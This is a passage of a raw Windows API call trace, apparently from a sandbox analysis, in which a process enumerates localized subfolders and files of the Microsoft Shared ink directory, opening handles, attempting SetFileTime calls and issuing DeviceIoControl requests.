1 [0233.482] NtClose (Handle=0x1b0) returned 0x0 [0233.487] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.487] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.487] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.494] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0233.494] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.495] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.495] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0233.496] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0233.496] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0233.496] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0233.496] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0233.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0233.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffc68 [0233.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901688 [0233.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0233.498] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.507] GetLastError () returned 0x12 [0233.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0233.509] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0233.513] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.513] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.513] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.513] GetLastError () returned 0x12 [0233.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.515] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.515] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0233.515] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.518] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0233.518] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0233.524] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0233.524] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9026e8 [0233.524] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9026e8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9026e8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0233.524] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9026e8) returned 1 [0233.524] NtClose (Handle=0x1b4) returned 0x0 [0233.524] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.524] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.524] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.525] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0233.525] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0233.525] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.525] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.525] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.525] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.525] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.525] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.525] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.525] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0233.525] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.525] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffc88 [0233.525] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901790 [0233.525] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.525] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.525] GetLastError () returned 0x12 [0233.525] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0233.525] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.525] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.525] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.525] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.525] GetLastError () returned 0x12 [0233.525] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0233.525] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0233.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0233.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.526] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0233.526] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0233.526] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0233.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0233.526] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0233.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9026e8 [0233.526] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9026e8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9026e8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0233.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9026e8) returned 1 [0233.526] NtClose (Handle=0x1b0) returned 0x0 [0233.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.527] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0233.527] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.527] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0233.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffca8 [0233.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901898 [0233.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.527] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.527] GetLastError () returned 0x12 [0233.527] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0233.527] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0233.527] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.527] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.527] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.527] GetLastError () returned 0x12 [0233.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.528] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0233.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.528] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0233.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0233.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0233.528] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0233.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9026e8 [0233.528] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9026e8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9026e8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0233.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9026e8) returned 1 [0233.528] NtClose (Handle=0x1b4) returned 0x0 [0233.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0233.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0233.529] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9019a0 [0233.529] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, 